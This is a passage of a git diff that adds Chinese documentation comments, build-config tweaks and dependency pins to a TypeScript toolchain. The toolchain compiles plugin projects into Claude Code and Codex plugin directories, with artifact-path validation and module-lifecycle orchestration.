export const CLAUDE_CODE_TARGET = 'claude-code'; +/** 只能由 Core Compiler 生成、Module 不得替换的 Claude Plugin 清单字段。 */ const RESERVED_MANIFEST_FIELDS = new Set([ 'name', 'version', 'description', 'commands', 'skills', 'agents', ]); +/** + * 将 Module 贡献的非保留字段合并进 Claude Plugin 清单。 + * + * @param context 当前目标的 Compiler 上下文。 + * @param manifest 正在组装且由调用方持有的清单对象。 + * @throws Module 覆盖保留字段或多个 Module 贡献同名字段时抛出异常。 + */ function mergeManifestFields(context: CompilerContext, manifest: Record): void { + /** 记录每个扩展字段的唯一贡献 Module,防止依赖顺序静默决定结果。 */ const owners = new Map(); for (const { module, contribution } of context.contributions) { for (const [key, value] of Object.entries(contribution.manifestFields ?? {})) { if (RESERVED_MANIFEST_FIELDS.has(key)) throw new Error(`Module ${module} cannot replace reserved manifest field ${key}.`); + /** 已经声明当前扩展字段的 Module。 */ const owner = owners.get(key); if (owner) throw new Error(`Manifest field ${key} is contributed by both ${owner} and ${module}.`); @@ -29,7 +40,14 @@ function mergeManifestFields(context: CompilerContext, manifest: Record(); for (const capability of capabilities) { for (const tool of ({ @@ -45,6 +63,12 @@ function claudeTools(capabilities: readonly AgentCapability[]): string[] { return [...result].sort(); } +/** + * 把 Core 模型档位映射为 Claude Code Agent 支持的模型别名。 + * + * @param model 可移植模型档位。 + * @returns Claude Code frontmatter 使用的模型值。 + */ function claudeModel(model: 'inherit' | 'fast' | 'capable'): string { if (model === 'fast') return 'haiku'; @@ -53,14 +77,25 @@ function claudeModel(model: 'inherit' | 'fast' | 'capable'): string { return 'inherit'; } +/** 将规范 PluginProject 编译为可安装的 Claude Code Plugin 目录。 */ export const claudeCodeCompiler: Compiler = { id: CLAUDE_CODE_TARGET, + /** + * 编译 Commands、Skills、Agents、Module 贡献和 Plugin 清单。 + * + * @param context Core 提供的规范工程、目标配置和 Module 贡献。 + * @returns 尚未写盘、将由 ArtifactGraph 统一校验的产物与兼容性记录。 + */ async compile(context): Promise { + /** 当前目标累计生成的 Artifact 输入。 */ const artifacts = []; + /** 当前目标每种 Component 映射的兼容性结论。 */ const compatibility = []; + /** 便于各 Component 转换共享的规范工程。 */ const { project } = context; for (const command of project.commands) { + /** Claude Command frontmatter,参数提示仅在存在时输出。 */ const frontmatter: Record = { description: command.description }; if (command.argumentHint) frontmatter['argument-hint'] = command.argumentHint; @@ -89,6 +124,7 @@ export const claudeCodeCompiler: Compiler = { } for (const agent of project.agents) { + /** 从规范能力映射并去重得到的 Claude Code 工具列表。 */ const tools = claudeTools(agent.capabilities); artifacts.push(bytesArtifact(`agents/${agent.id}.md`, markdownWithFrontmatter({ name: agent.id, @@ -99,6 +135,7 @@ export const claudeCodeCompiler: Compiler = { compatibility.push({ target: CLAUDE_CODE_TARGET, subject: `agent:${agent.id}`, capability: 'component', level: 'native', reason: 'Claude Code supports plugin Agents.' } as const); } + /** 由 Core 字段和 Module 扩展共同构成的 Claude Plugin 清单。 */ const manifest: Record = { name: project.name, version: project.version, @@ -117,4 +154,5 @@ export const claudeCodeCompiler: Compiler = { }, }; +/** 默认导出便于直接注册该官方 Compiler。 */ export default claudeCodeCompiler; diff --git a/packages/compiler-claude-code/tsdown.config.ts b/packages/compiler-claude-code/tsdown.config.ts index 1533d6b..f1a4a98 100644 --- a/packages/compiler-claude-code/tsdown.config.ts +++ b/packages/compiler-claude-code/tsdown.config.ts @@ -1,12 +1,13 @@ import { defineConfig } from 'tsdown'; import { fileURLToPath } from 'node:url'; +// 私有 Claude Code Compiler 只构建 Node ESM,由主包内联而不单独发布。 export default defineConfig({ entry: [fileURLToPath(new URL('./src/index.ts', import.meta.url))], format: ['esm'], platform: 'node', target: 'node20', - dts: true, + dts: { generator: 'oxc' }, clean: true, sourcemap: false, }); diff --git a/packages/compiler-codex/src/index.ts b/packages/compiler-codex/src/index.ts index 94cfad0..48a1546 100644 --- a/packages/compiler-codex/src/index.ts +++ b/packages/compiler-codex/src/index.ts @@ -9,16 +9,27 @@ import { type Component, } from '@acplugin/core'; +/** Codex Compiler 对应的稳定目标平台 ID。 */ export const CODEX_TARGET = 'codex'; +/** 只能由 Core Compiler 生成、Module 不得替换的 Codex Plugin 清单字段。 */ const RESERVED_MANIFEST_FIELDS = new Set(['name', 'version', 'description', 'skills']); +/** + * 将 Module 贡献的非保留字段合并进 Codex Plugin 清单。 + * + * @param context 当前目标的 Compiler 上下文。 + * @param manifest 正在组装且由调用方持有的清单对象。 + * @throws Module 覆盖保留字段或多个 Module 贡献同名字段时抛出异常。 + */ function mergeManifestFields(context: CompilerContext, manifest: Record): void { + /** 记录每个扩展字段的唯一贡献 Module,防止依赖顺序静默决定结果。 */ const owners = new Map(); for (const { module, contribution } of context.contributions) { for (const [key, value] of Object.entries(contribution.manifestFields ?? {})) { if (RESERVED_MANIFEST_FIELDS.has(key)) throw new Error(`Module ${module} cannot replace reserved manifest field ${key}.`); + /** 已经声明当前扩展字段的 Module。 */ const owner = owners.get(key); if (owner) throw new Error(`Manifest field ${key} is contributed by both ${owner} and ${module}.`); @@ -28,7 +39,18 @@ function mergeManifestFields(context: CompilerContext, manifest: Record, seen = new Set()): boolean { + /** 当前 Component 在依赖图中的唯一键。 */ const key = `${component.kind}:${component.id}`; if (seen.has(key)) return false; @@ -41,22 +63,47 @@ function requiresAgent(component: Component, byKey: ReadonlyMap { + /** 当前目标累计生成的 Artifact 输入。 */ const artifacts = []; + /** 原生、转换和降级映射产生的兼容性结论。 */ const compatibility = []; + /** 以大小写不敏感方式保留的最终 Codex Skill ID 与来源。 */ const generatedIds = new Map(); + /** 用于依赖闭包分析的全部规范 Component。 */ const allComponents: Component[] = [...context.project.commands, ...context.project.skills, ...context.project.agents]; + /** 按类型与 ID 索引的 Component 依赖图节点。 */ const byKey = new Map(allComponents.map(component => [`${component.kind}:${component.id}`, component])); + /** + * 为最终生成的 Codex Skill ID 建立跨平台大小写不敏感的唯一性约束。 + * + * @param id 待保留的最终 Skill ID。 + * @param subject 产生该 ID 的规范 Component。 + */ const reserve = (id: string, subject: string): void => { + /** 已经占用同一大小写不敏感 ID 的 Component。 */ const collision = generatedIds.get(id.toLocaleLowerCase('en-US')); if (collision) throw new Error(`Generated Codex Skill ID collision: ${collision} and ${subject} both use ${id}.`); @@ -69,6 +116,7 @@ export const codexCompiler: Compiler = { name: skill.id, description: skill.description, }, skill.body))); + /** 禁止模型隐式调用时需要生成的 Codex Skill 元数据。 */ const metadata = skillMetadata(skill.invocation.model); if (metadata) artifacts.push(bytesArtifact(`skills/${skill.id}/agents/openai.yaml`, metadata)); @@ -94,6 +142,7 @@ export const codexCompiler: Compiler = { } for (const command of context.project.commands) { + /** Command 降级生成的显式调用 Skill ID。 */ const id = `command-${command.id}`; reserve(id, `command:${command.id}`); artifacts.push(bytesArtifact(`skills/${id}/SKILL.md`, markdownWithFrontmatter({ @@ -112,8 +161,10 @@ export const codexCompiler: Compiler = { } for (const agent of context.project.agents) { + /** Agent 降级生成的指导型 Skill ID。 */ const id = `agent-${agent.id}`; reserve(id, `agent:${agent.id}`); + /** 保留 Agent 意图但明确平台无法强制模型与能力的降级正文。 */ const guidance = [ agent.body, '', @@ -148,6 +199,7 @@ export const codexCompiler: Compiler = { } } + /** 由 Core 字段和 Module 扩展共同构成的 Codex Plugin 清单。 */ const manifest: Record = { name: context.project.name, version: context.project.version, @@ -162,4 +214,5 @@ export const codexCompiler: Compiler = { }, }; +/** 默认导出便于直接注册该官方 Compiler。 */ export default codexCompiler; diff --git a/packages/compiler-codex/tsdown.config.ts b/packages/compiler-codex/tsdown.config.ts index 1533d6b..b6eb082 100644 --- a/packages/compiler-codex/tsdown.config.ts +++ b/packages/compiler-codex/tsdown.config.ts @@ -1,12 +1,13 @@ import { defineConfig } from 'tsdown'; import { fileURLToPath } from 'node:url'; +// 私有 Codex Compiler 只构建 Node ESM,由主包内联而不单独发布。 export default defineConfig({ entry: [fileURLToPath(new URL('./src/index.ts', import.meta.url))], format: ['esm'], platform: 'node', target: 'node20', - dts: true, + dts: { generator: 'oxc' }, clean: true, sourcemap: false, }); diff --git a/packages/core/package.json b/packages/core/package.json index 08d3e4e..c480ebc 100644 --- a/packages/core/package.json +++ b/packages/core/package.json @@ -11,12 +11,12 @@ "typecheck": "tsc -p tsconfig.json" }, "dependencies": { - "semver": "catalog:", - "yaml": "catalog:" + "semver": "^7.8.5", + "yaml": "^2.9.0" }, "devDependencies": { "@types/node": "catalog:", - "@types/semver": "catalog:", + "@types/semver": "^7.7.1", "tsdown": "catalog:", "typescript": "catalog:", "vitest": "catalog:" diff --git a/packages/core/src/artifacts.ts b/packages/core/src/artifacts.ts index 719458e..a0d18c1 100644 --- a/packages/core/src/artifacts.ts +++ b/packages/core/src/artifacts.ts @@ -4,26 +4,53 @@ import { promises as fs } from 'node:fs'; import path from 'node:path'; import type { Artifact, ArtifactInput, ArtifactMode } from './types.js'; +/** + * 将用户提供的产物路径规范化为安全、稳定的 POSIX 相对路径。 + * + * 路径会统一为 NFC,以避免视觉相同但编码不同的文件绕过冲突检测。 + * + * @param value 配置或 Module 提供的目标路径。 + * @returns 可作为 Artifact 唯一标识的规范化路径。 + * @throws 路径使用反斜杠、绝对路径或能够逃逸目标根目录时抛出异常。 + */ function normalizeArtifactPath(value: string): string { if (value.includes('\\')) throw new Error(`Artifact path must use POSIX separators: ${value}`); if (path.posix.isAbsolute(value)) throw new Error(`Artifact path must be relative: ${value}`); + // 规范化分隔片段和 Unicode 编码后,再判断是否仍处于目标根目录内。 const normalized = path.posix.normalize(value).normalize('NFC'); if (normalized === '.' || normalized === '' || normalized === '..' || normalized.startsWith('../')) throw new Error(`Artifact path escapes the target root: ${value}`); return normalized; } +/** + * 判断候选路径是否位于指定根目录内,或与根目录本身相同。 + * + * @param root 已解析为绝对路径的可信根目录。 + * @param candidate 需要验证的绝对路径。 + * @returns 候选路径没有通过 `..` 或其他盘符逃逸时返回 true。 + */ function isInside(root: string, candidate: string): boolean { + // 使用 path.relative 而不是字符串前缀,避免 `/project-a` 被误判为 `/project` 的子目录。 const relative = path.relative(root, candidate); return relative === '' || (!path.isAbsolute(relative) && relative !== '..' && !relative.startsWith(`..${path.sep}`)); } +/** + * 以流式方式计算文件的 SHA-256 和字节数,避免把大型公共资源整体读入内存。 + * + * @param file 需要读取的文件绝对路径。 + * @returns 文件内容摘要与实际字节数。 + */ export async function hashFile(file: string): Promise<{ sha256: string; size: number }> { + /** 在读取文件的同时增量更新的 SHA-256 计算器。 */ const hash = createHash('sha256'); + /** 已从文件流接收的累计字节数。 */ let size = 0; await new Promise((resolve, reject) => { + // 流错误必须传递给调用方,否则可能把不完整读取误认为有效 Artifact。 const stream = createReadStream(file); stream.on('data', (chunk) => { size += typeof chunk === 'string' ? Buffer.byteLength(chunk) : chunk.length; @@ -35,42 +62,79 @@ export async function hashFile(file: string): Promise<{ sha256: string; size: nu return { sha256: hash.digest('hex'), size }; } +/** + * 收集一次构建产生的全部 Artifact,并维护路径唯一性和来源可信边界。 + * + * Graph 只接受内存快照或可信源目录中的普通文件;加入后的元数据不可变, + * 从而为后续事务写入和构建报告提供确定输入。 + */ export class ArtifactGraph { + /** 以规范化目标路径索引的不可变 Artifact。 */ readonly #artifacts = new Map(); + /** 以大小写不敏感键索引原始路径,用于跨文件系统发现路径碰撞。 */ readonly #normalizedPaths = new Map(); + /** 允许文件型 Artifact 读取的绝对源目录集合。 */ readonly #allowedSourceRoots: readonly string[]; + /** + * 创建单次构建使用的 Artifact 图。 + * + * @param allowedSourceRoots Scanner、Public 等允许贡献文件的可信根目录。 + */ constructor(allowedSourceRoots: readonly string[]) { this.#allowedSourceRoots = allowedSourceRoots.map(root => path.resolve(root)); } + /** + * 返回按目标路径稳定排序的 Artifact 快照。 + * + * @returns 不暴露内部 Map 顺序和可变性的只读列表。 + */ get artifacts(): readonly Artifact[] { return [...this.#artifacts.values()].sort((a, b) => a.path.localeCompare(b.path, 'en')); } + /** + * 验证并加入一个构建产物。 + * + * @param owner 负责生成该产物的 Compiler 或 Module 标识。 + * @param input 尚未校验的 Artifact 描述。 + * @returns 已冻结且带内容摘要的 Artifact。 + * @throws 目标路径冲突、权限模式非法或文件来源越过可信根目录时抛出异常。 + */ async add(owner: string, input: ArtifactInput): Promise { + /** 经过目录逃逸与 Unicode 规范化检查的最终目标路径。 */ const artifactPath = normalizeArtifactPath(input.path); + // 大小写不敏感键保证同一构建在 Linux、macOS 和 Windows 上具有一致的冲突结果。 const collisionKey = artifactPath.toLocaleLowerCase('en-US').normalize('NFC'); + /** 已占用同一跨平台路径键的产物路径。 */ const existingPath = this.#normalizedPaths.get(collisionKey); if (existingPath) throw new Error(`Artifact collision between "${existingPath}" and "${artifactPath}".`); + /** 最终写入权限只允许普通文件与可执行文件两种可移植模式。 */ const mode: ArtifactMode = input.mode ?? 0o644; if (mode !== 0o644 && mode !== 0o755) throw new Error(`Unsupported Artifact mode for ${artifactPath}.`); + /** 在加入 Graph 时确定的内容字节数。 */ let size: number; + /** 在加入 Graph 时确定的内容摘要,用于报告和事务校验。 */ let sha256: string; + /** 与摘要对应的不可变内存快照或已验证文件来源。 */ let source: Artifact['source']; if (input.source.type === 'bytes') { + // 复制调用方的 Uint8Array,避免其在 add 返回后修改已计算摘要对应的内容。 const value = Uint8Array.from(input.source.value); size = value.byteLength; sha256 = createHash('sha256').update(value).digest('hex'); source = Object.freeze({ type: 'bytes', value }); } else { + /** 解析后的文件来源路径,后续所有安全判断都基于该绝对路径。 */ const sourcePath = path.resolve(input.source.path); if (!this.#allowedSourceRoots.some(root => isInside(root, sourcePath))) throw new Error(`Artifact source is outside allowed roots: ${input.source.path}`); + // 使用 lstat 拒绝符号链接,防止校验可信路径后再间接读取边界外文件。 const stat = await fs.lstat(sourcePath); if (stat.isSymbolicLink() || !stat.isFile()) throw new Error(`Artifact source must be a regular non-symlink file: ${input.source.path}`); @@ -78,6 +142,7 @@ export class ArtifactGraph { source = Object.freeze({ type: 'file', path: sourcePath }); } + /** 完成路径、来源和摘要验证后对外暴露的最终产物记录。 */ const artifact: Artifact = Object.freeze({ path: artifactPath, source, @@ -92,8 +157,18 @@ export class ArtifactGraph { } } +/** + * 创建内存型 Artifact 输入,常用于生成清单、配置和 Markdown 文件。 + * + * @param pathname 产物相对于目标根目录的 POSIX 路径。 + * @param content UTF-8 文本或调用方提供的原始字节。 + * @param mode 可选的目标文件权限模式。 + * @returns 可交给 ArtifactGraph 校验和快照化的输入。 + */ export function bytesArtifact(pathname: string, content: string | Uint8Array, mode?: ArtifactMode): ArtifactInput { + /** 统一为字节表示;ArtifactGraph.add 会再次复制以建立所有权边界。 */ const value = typeof content === 'string' ? new TextEncoder().encode(content) : content; + /** 尚未进入 Graph、因此尚未带摘要信息的内存产物输入。 */ const artifact: ArtifactInput = { path: pathname, source: { type: 'bytes', value } }; if (mode !== undefined) artifact.mode = mode; diff --git a/packages/core/src/builder.ts b/packages/core/src/builder.ts index d5b1215..a77889a 100644 --- a/packages/core/src/builder.ts +++ b/packages/core/src/builder.ts @@ -19,20 +19,45 @@ import type { TargetId, } from './types.js'; +/** 保存单个 Module 在一次构建生命周期中的隔离目录和阶段状态。 */ interface ModuleRuntime { + /** 当前执行的 Module 定义。 */ module: AcpluginModule; + /** 仅供该 Module 使用的临时工作目录。 */ workDir: string; + /** discover 阶段产生并传递给后续 Hook 的状态。 */ state: unknown; + /** build 阶段产生并传递给 generate Hook 的状态。 */ builtState: unknown; } +/** + * 按 Module 依赖关系执行稳定的拓扑排序。 + * + * 没有依赖关系的 Module 保持配置中的相对顺序,以保证构建结果可预测。 + * + * @param modules 配置解析完成后的 Module 列表。 + * @returns 依赖项始终位于使用方之前的新数组。 + * @throws 依赖缺失或依赖图存在环时抛出异常。 + */ function sortModules(modules: readonly AcpluginModule[]): AcpluginModule[] { + /** 按唯一名称索引 Module,用于解析 dependsOn。 */ const byName = new Map(modules.map(module => [module.name, module])); + /** Module 在用户配置中的位置,用作无依赖节点的稳定排序依据。 */ const configuredIndex = new Map(modules.map((module, index) => [module.name, index])); + /** 已完成拓扑排序的 Module。 */ const result: AcpluginModule[] = []; + /** 当前深度优先路径上的 Module,用于发现依赖环。 */ const visiting = new Set(); + /** 已完整访问的 Module,防止重复加入结果。 */ const visited = new Set(); + /** + * 深度优先访问单个 Module,并在其依赖完成后加入结果。 + * + * @param module 当前待访问的 Module。 + * @param stack 不包含当前节点的依赖访问路径,用于生成可读环路。 + */ const visit = (module: AcpluginModule, stack: string[]): void => { if (visited.has(module.name)) return; @@ -40,6 +65,7 @@ function sortModules(modules: readonly AcpluginModule[]): AcpluginModule[] { throw new Error(`Module dependency cycle: ${[...stack, module.name].join(' -> ')}`); visiting.add(module.name); for (const dependency of module.dependsOn ?? []) { + /** 依赖名称对应的已配置 Module。 */ const target = byName.get(dependency); if (!target) throw new Error(`Module "${module.name}" requires missing module "${dependency}".`); @@ -55,6 +81,14 @@ function sortModules(modules: readonly AcpluginModule[]): AcpluginModule[] { return result; } +/** + * 提取当前 Module 声明依赖的阶段状态,并保持 dependsOn 中的声明顺序。 + * + * @param runtime 当前 Module 的运行时记录。 + * @param all 全部已配置 Module 的运行时索引。 + * @param field 需要暴露 discover 状态还是 build 状态。 + * @returns 只包含直接依赖的状态映射。 + */ function dependencyMap( runtime: ModuleRuntime, all: ReadonlyMap, @@ -63,6 +97,15 @@ function dependencyMap( return new Map((runtime.module.dependsOn ?? []).map(name => [name, all.get(name)?.[field]])); } +/** + * 为 Module Hook 构造统一基础上下文。 + * + * @param request 本次构建请求。 + * @param diagnostics 构建生命周期共享的诊断收集器。 + * @param runtime 当前 Module 的运行时记录。 + * @param all 全部 Module 的运行时索引。 + * @returns 带隔离工作目录和依赖状态的 Hook 上下文。 + */ function moduleContext( request: BuildRequest, diagnostics: DiagnosticCollector, @@ -79,6 +122,19 @@ function moduleContext( }; } +/** + * 根据构建最终状态创建可持久化的确定性报告。 + * + * validate 命令只验证可物化性,不对外承诺产物,因此报告中不会包含 Artifact。 + * + * @param request 本次构建请求。 + * @param project Scanner 成功产出的规范工程。 + * @param diagnostics 已完成脱敏和排序的诊断。 + * @param compatibility 各 Compiler 与 Module 汇总的兼容性条目。 + * @param artifacts 各目标的产物元数据。 + * @param committed 是否已经完成受管输出目录交换。 + * @returns 构建命令的最终报告。 + */ function createReport( request: BuildRequest, project: PluginProject | undefined, @@ -103,24 +159,52 @@ function createReport( }; } +/** + * 执行一次完整的 acplugin 构建或验证 Pipeline。 + * + * 生命周期顺序固定为 Module configResolved/discover、Core scan、Module validate/build、 + * 逐目标 generate/compile、Artifact 校验与提交,最后逆序执行 buildEnd。 + * + * @param request 已解析配置、Compiler 注册表和提交策略。 + * @returns 项目快照与不会泄露内部异常内容的构建报告。 + */ export async function buildProject(request: BuildRequest): Promise { + /** 在全部 Pipeline 阶段间共享的安全诊断收集器。 */ const diagnostics = new DiagnosticCollector(); + /** 所有目标和 Module 产生的兼容性说明。 */ const compatibility: CompatibilityEntry[] = []; + /** 用于报告且不包含实际内容的 Artifact 元数据。 */ const artifactReports: ArtifactReportEntry[] = []; + /** 按目标保存已验证的最终 Artifact 图,供事务阶段统一提交。 */ const targetArtifacts = new Map(); + /** 本次构建隔离的 Module 临时目录根节点。 */ const runtimeRoot = await fs.mkdtemp(path.join(request.config.root, '.acplugin-work-')); + /** 按 Module 名称索引运行时状态,供依赖方读取。 */ const runtimes = new Map(); + /** 已成功进入生命周期、因此必须执行 buildEnd 的 Module。 */ const initialized: ModuleRuntime[] = []; + /** Scanner 产出的规范工程;扫描发生前保持未定义。 */ let project: PluginProject | undefined; + /** 需要传递给 buildEnd 和事务回滚的首个框架异常。 */ let originalError: unknown; + /** 受管输出目录是否已经成功完成交换。 */ let committed = false; + /** 防止 buildEnd 在正常路径、异常路径和 finally 中重复执行。 */ let finalized = false; + /** + * 以初始化的逆序执行所有 Module 的 buildEnd,并保留最早失败原因。 + * + * @param cause 触发清理的原始失败;正常结束时为 undefined。 + * @returns 原始失败或第一个 buildEnd 失败。 + */ const finalizeModules = async (cause: unknown): Promise => { if (finalized) return cause; finalized = true; + /** 向后续 buildEnd 传播且最终决定事务是否回滚的首个清理原因。 */ let cleanupCause = cause; + // 逆序收尾与依赖初始化顺序相反,使使用方先于其依赖释放资源。 for (const runtime of [...initialized].reverse()) { try { const context = moduleContext(request, diagnostics, runtime, runtimes); @@ -134,6 +218,7 @@ export async function buildProject(request: BuildRequest): Promise }; try { + /** 按依赖顺序排列、可安全启动生命周期的 Module。 */ let orderedModules: AcpluginModule[]; try { orderedModules = sortModules(request.config.modules); @@ -143,6 +228,7 @@ export async function buildProject(request: BuildRequest): Promise } for (const module of orderedModules) { + /** 当前 Module 在本次构建中的隔离运行时记录。 */ const runtime: ModuleRuntime = { module, workDir: path.join(runtimeRoot, encodeURIComponent(module.name)), @@ -153,12 +239,14 @@ export async function buildProject(request: BuildRequest): Promise runtimes.set(module.name, runtime); try { await module.configResolved?.(request.config); + // 只有 configResolved 成功的 Module 才进入后续 Hook,并承担 buildEnd 清理责任。 initialized.push(runtime); } catch { diagnostics.error('MODULE_HOOK_FAILED', `Module ${module.name} configResolved failed.`, { phase: 'configResolved', module: module.name }); } } + // discover 仅允许 Module 准备自己的状态;规范 Component 仍由随后执行的 Core Scanner 创建。 for (const runtime of initialized) { try { runtime.state = await runtime.module.discover?.(moduleContext(request, diagnostics, runtime, runtimes)); @@ -167,6 +255,7 @@ export async function buildProject(request: BuildRequest): Promise } } + /** Core Scanner 返回的规范工程和共享诊断收集器。 */ const scanned = await scanProject(request.config, diagnostics); project = scanned.project; @@ -179,6 +268,7 @@ export async function buildProject(request: BuildRequest): Promise } if (!diagnostics.hasErrors) { + // validate 产生任何错误后不再执行 build,避免 Module 基于无效工程制造派生状态。 for (const runtime of initialized) { try { runtime.builtState = await runtime.module.build?.({ ...moduleContext(request, diagnostics, runtime, runtimes), project }, runtime.state); @@ -190,15 +280,19 @@ export async function buildProject(request: BuildRequest): Promise if (!diagnostics.hasErrors) { for (const target of request.config.targets) { + /** 进入当前目标生成前的错误数,用于隔离 generate Hook 的失败。 */ const errorsBeforeTarget = diagnostics.diagnostics.filter(item => item.severity === 'error').length; + /** 与当前目标 ID 对应的内置 Compiler。 */ const compiler = request.compilers.get(target.id); if (!compiler) { diagnostics.error('COMPILER_MISSING', `No Compiler registered for ${target.id}.`, { phase: 'generate', target: target.id }); continue; } + /** Module 针对当前目标产生的附加 Artifact 和兼容性信息。 */ const contributions: { module: string; contribution: TargetContribution }[] = []; for (const runtime of initialized) { try { + /** 当前 Module 针对目标生成的可选贡献。 */ const contribution = await runtime.module.generate?.( { ...moduleContext(request, diagnostics, runtime, runtimes), project: project!, target: target.id }, runtime.state, @@ -213,7 +307,9 @@ export async function buildProject(request: BuildRequest): Promise if (diagnostics.diagnostics.filter(item => item.severity === 'error').length > errorsBeforeTarget) continue; try { + /** Compiler 基于规范 Component 与 Module 贡献生成的目标输出。 */ const output = await compiler.compile({ config: request.config, project: project!, target, contributions, diagnostics }); + /** 当前目标的 Compiler 与 Module 兼容性条目合集。 */ const targetCompatibility = [ ...output.compatibility, ...contributions.flatMap(item => item.contribution.compatibility ?? []), @@ -221,6 +317,7 @@ export async function buildProject(request: BuildRequest): Promise compatibility.push(...targetCompatibility); applyCompatibilityStrictness(diagnostics, target, targetCompatibility); + // 所有来源在同一 Graph 内接受路径、碰撞、权限和可信目录校验。 const graph = new ArtifactGraph([request.config.root, runtimeRoot]); for (const publicFile of project!.publicFiles) await graph.add('public', { path: publicFile.targetPath, source: { type: 'file', path: publicFile.sourcePath }, mode: publicFile.mode }); @@ -249,7 +346,9 @@ export async function buildProject(request: BuildRequest): Promise if (!diagnostics.hasErrors && targetArtifacts.size === request.config.targets.length) { if (request.commit) { + // buildEnd 属于提交事务:交换后收尾失败必须触发输出目录回滚。 await commitManagedOutput(request.config.outDir, targetArtifacts, { + /** 在旧输出备份仍可恢复时执行 Module 收尾。 */ async afterSwap() { originalError = await finalizeModules(originalError); if (originalError !== undefined) @@ -258,6 +357,7 @@ export async function buildProject(request: BuildRequest): Promise }); committed = true; } else { + // validate 模式仍完整物化到临时目录,以验证字节摘要和权限,但不会改动 outDir。 await validateMaterialization(targetArtifacts); originalError = await finalizeModules(originalError); } @@ -270,9 +370,11 @@ export async function buildProject(request: BuildRequest): Promise if (originalError === undefined && diagnostics.hasErrors) originalError = new Error('Build failed; see diagnostics.'); originalError = await finalizeModules(originalError); + // Module 收尾完成后才能删除工作目录,确保 buildEnd 仍可访问自己的临时资源。 await fs.rm(runtimeRoot, { recursive: true, force: true }); } + /** 始终返回的构建结果;业务失败通过 report.success 和 diagnostics 表达。 */ const result: BuildResult = { report: createReport(request, project, diagnostics.diagnostics, compatibility, artifactReports, committed), }; diff --git a/packages/core/src/config.ts b/packages/core/src/config.ts index aeb17d4..561ac2c 100644 --- a/packages/core/src/config.ts +++ b/packages/core/src/config.ts @@ -14,23 +14,43 @@ import { TARGET_IDS } from './types.js'; import { DiagnosticCollector } from './diagnostics.js'; import { extensionIssues } from './extensions.js'; +/** Plugin 名称允许使用的小写 kebab-case 格式。 */ const NAME_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; + +/** Module 名称允许使用的普通包名或 npm scope 包名格式。 */ const MODULE_NAME_PATTERN = /^(?:@[a-z0-9][a-z0-9._-]*\/)?[a-z0-9][a-z0-9._-]*$/; + +/** 顶层配置唯一允许出现的字段,未知字段必须诊断为错误。 */ const ALLOWED_FIELDS = new Set([ 'name', 'version', 'description', 'displayName', 'srcDir', 'public', 'targets', 'modules', 'build', 'extensions', ]); +/** + * 判断未知值是否为可枚举的普通对象形态。 + * + * @param value 需要检查的外部配置值。 + * @returns 非空、非数组对象返回 true。 + */ function isRecord(value: unknown): value is Record { return value !== null && typeof value === 'object' && !Array.isArray(value); } +/** + * 拒绝配置对象中未被当前 schema 明确允许的字段。 + * + * @param value 待检查的配置对象。 + * @param allowed 当前层级允许的字段名称。 + * @param fieldPath 当前对象在完整配置中的字段路径。 + * @param diagnostics 用于收集结构错误的诊断容器。 + */ function rejectUnknownFields( value: Record, allowed: readonly string[], fieldPath: readonly (string | number)[], diagnostics: DiagnosticCollector, ): void { + // Set 让字段检查保持确定性的同时避免每次查找都遍历数组。 const accepted = new Set(allowed); for (const key of Object.keys(value)) { if (!accepted.has(key)) { @@ -41,16 +61,40 @@ function rejectUnknownFields( } } +/** + * 从规范名称推导适合界面展示的默认名称。 + * + * @param name 已通过 kebab-case 校验的 Plugin 名称。 + * @returns 将每个名称片段首字母大写后的展示名称。 + */ function presentationName(name: string): string { return name.split('-').map(part => part.charAt(0).toUpperCase() + part.slice(1)).join(' '); } +/** + * 判断候选绝对路径是否位于指定根目录内。 + * + * @param root 可信工程根目录。 + * @param candidate 需要验证的候选绝对路径。 + * @returns 候选路径等于或包含于根目录时返回 true。 + */ function isInside(root: string, candidate: string): boolean { + // 只使用 lexical relative 结果,后续文件读取阶段还会验证真实文件类型。 const relative = path.relative(root, candidate); return relative === '' || (!relative.startsWith(`..${path.sep}`) && relative !== '..' && !path.isAbsolute(relative)); } +/** + * 将用户路径解析为绝对路径,并诊断越出工程根目录的配置。 + * + * @param root 可信工程根目录。 + * @param value 用户提供的相对路径。 + * @param field 产生该路径的配置字段。 + * @param diagnostics 用于记录路径逃逸的诊断容器。 + * @returns 规范化后的绝对路径;即使非法也返回值以继续收集其他错误。 + */ function resolveInside(root: string, value: string, field: string, diagnostics: DiagnosticCollector): string { + // 保留解析结果可以让一次 validate 报告尽可能多的独立配置问题。 const resolved = path.resolve(root, value); if (!isInside(root, resolved)) { diagnostics.error('CONFIG_PATH_ESCAPE', `${field} must stay inside the project root.`, { @@ -60,13 +104,24 @@ function resolveInside(root: string, value: string, field: string, diagnostics: return resolved; } +/** + * 合并目标平台默认值并拒绝未知、重复或空目标列表。 + * + * @param targets 用户配置的目标平台数组,缺省时使用全部内置目标。 + * @param strict 全局兼容性严格度默认值。 + * @param diagnostics 用于收集目标配置错误的诊断容器。 + * @returns 去重且带有最终严格度的目标配置。 + */ function resolveTargets( targets: readonly unknown[] | undefined, strict: boolean, diagnostics: DiagnosticCollector, ): ResolvedTarget[] { + // 默认同时编译 Claude Code 和 Codex,保持最小配置即可多平台输出。 const input: readonly unknown[] = targets ?? TARGET_IDS; + // 已解析标识用于拒绝同一目标的重复配置。 const seen = new Set(); + // 结果只收集结构和标识均合法的目标。 const resolved: ResolvedTarget[] = []; if (input.length === 0) @@ -82,6 +137,7 @@ function resolveTargets( if (target.strict !== undefined && typeof target.strict !== 'boolean') diagnostics.error('CONFIG_TARGET_STRICT_INVALID', 'Target strict must be boolean.', { phase: 'config', fieldPath: ['targets', 'strict'] }); } + // 字符串简写和对象形式最终都归一为同一个目标标识。 const id = typeof target === 'string' ? target : target.id; if (typeof id !== 'string') { diagnostics.error('CONFIG_TARGET_INVALID', 'Target id must be a string.', { phase: 'config', fieldPath: ['targets', 'id'] }); @@ -102,6 +158,14 @@ function resolveTargets( return resolved; } +/** + * 解析 Public 目录开关、来源目录和复制规则。 + * + * @param root 可信工程根目录。 + * @param value 用户提供的 Public 配置。 + * @param diagnostics 用于收集目录与复制规则错误的诊断容器。 + * @returns 包含绝对来源目录的统一 Public 配置。 + */ function resolvePublic(root: string, value: unknown, diagnostics: DiagnosticCollector): ResolvedPublicConfig { if (value === false) return { enabled: false, dir: path.join(root, 'public') }; @@ -112,11 +176,14 @@ function resolvePublic(root: string, value: unknown, diagnostics: DiagnosticColl return { enabled: true, dir: path.join(root, 'public') }; } + // undefined 等价于启用默认 public 目录的空配置对象。 const object = value ?? {}; 